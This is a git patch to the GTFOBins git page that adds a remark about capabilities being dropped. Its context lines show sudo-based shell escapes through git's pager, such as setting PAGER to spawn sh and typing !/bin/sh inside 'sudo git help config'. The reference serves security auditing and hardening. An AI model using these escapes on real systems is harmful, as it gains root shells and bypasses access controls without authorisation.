From f4a3fc9af347e32373abe0fdc09baacbf73fb507 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 23 Jun 2019 17:24:38 +0200 Subject: [PATCH] Add notice about Git sudo capabilities --- _gtfobins/git.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/git.md b/_gtfobins/git.md index f66c874..5d0443c 100644 --- a/_gtfobins/git.md +++ b/_gtfobins/git.md @@ -8,7 +8,7 @@ functions: !/bin/sh sudo: - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help - - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. Several capabilities might be dropped in the child process using this method. code: | sudo git help config !/bin/sh